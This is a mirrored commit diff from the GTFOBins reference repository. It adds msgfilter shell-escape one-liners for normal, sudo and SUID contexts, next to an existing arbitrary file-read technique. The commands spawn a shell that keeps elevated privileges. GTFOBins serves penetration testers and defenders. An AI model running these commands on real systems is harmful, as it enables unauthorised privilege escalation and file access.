mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add msgfilter shell
This commit is contained in:
parent
8612fb0b86
commit
c014314b83
@ -1,16 +1,20 @@
|
|||||||
---
|
---
|
||||||
description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program.
|
|
||||||
functions:
|
functions:
|
||||||
|
shell:
|
||||||
|
- description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.
|
||||||
|
code: |
|
||||||
|
echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program.
|
||||||
|
code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
msgfilter -P -i "LFILE" /bin/cat
|
msgfilter -P -i "LFILE" /bin/cat
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.
|
||||||
LFILE=file_to_read
|
code: |
|
||||||
sudo msgfilter -P -i "LFILE" /bin/cat
|
echo x | sudo msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
|
||||||
suid:
|
suid:
|
||||||
- code: |
|
- description: Any text file will do as the input (use `-i`). `kill` is needed to spawn the shell only once.
|
||||||
LFILE=file_to_read
|
code: |
|
||||||
./msgfilter -P -i "LFILE" /bin/cat
|
echo x | ./msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user